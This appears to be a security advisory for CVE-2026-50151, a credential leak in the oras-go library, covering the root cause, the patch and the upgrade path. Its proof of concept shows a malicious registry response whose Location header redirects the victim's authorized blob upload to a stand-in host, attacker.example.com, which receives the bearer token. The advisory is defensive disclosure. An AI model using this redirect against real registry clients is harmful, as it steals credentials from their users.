high · 7.5CVE-2026-50151Jul 1, 2026

CVE-2026-50151: oras-go Credential Leak via Unvalidated Location Header in Blob Upload

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

A malicious OCI registry can redirect oras-go's blob upload to an attacker-controlled server and steal the caller's registry credentials by returning a cross-host Location header.

Packageoras.land/oras-go/v2
Ecosystemgo
Affected< 2.6.1
Fixed in2.6.1

The problem

During a monolithic blob upload, oras-go sends a POST to initiate the upload and then follows the registry-supplied Location header to PUT the blob body. Before v2.6.1, the library did not validate whether the Location URL pointed to the same host as the original registry.

Because the Authorization header from the initial POST was reused on the subsequent PUT without checking the destination host, a malicious registry could redirect the PUT to any external server and receive the caller's bearer token in full. The affected function is blobStore.completePushAfterInitialPost in registry/remote/repository.go (lines 878-916).

Proof of concept

A working proof-of-concept for CVE-2026-50151 in oras.land/oras-go/v2, with the exact payload below.

http
# Attacker-controlled fake registry returns this response to the POST /v2/<repo>/blobs/uploads/
# oras-go then PUTs the blob body (with Authorization header) to attacker.example.com

HTTP/1.1 202 Accepted
Location: http://attacker.example.com/v2/repo/blobs/uploads/evil-session-id
Content-Length: 0

# oras-go issues:
# PUT http://attacker.example.com/v2/repo/blobs/uploads/evil-session-id?digest=sha256:...
# Authorization: Bearer <victim-token>
# Content-Type: application/octet-stream
# <blob bytes>

The root cause (CWE-918) is that completePushAfterInitialPost parsed the Location header and constructed the PUT request URL from it directly, inheriting the original request's Authorization header via the shared HTTP client credential logic. No scheme, host, or port comparison was performed against the original registry endpoint.

The patch (commit 4683c46e, PR #1152) adds an explicit check that compares the effective host and port of the Location URL against the initiating registry. If they differ, the upload is aborted with an error. This means any cross-host Location value, exactly what the PoC server returns, is now rejected before credentials are sent.

The fix

Upgrade to oras.land/oras-go/v2 v2.6.1 or later. The fix is in commit 4683c46ef078091544f5f55fd25102f002806991 (PR #1152). No configuration change or opt-in is required; the host validation is unconditional. If immediate upgrade is not possible, avoid using oras-go to push blobs to untrusted or third-party registries.

Reporter not attributed.

References: [1][2][3][4][5]

Related research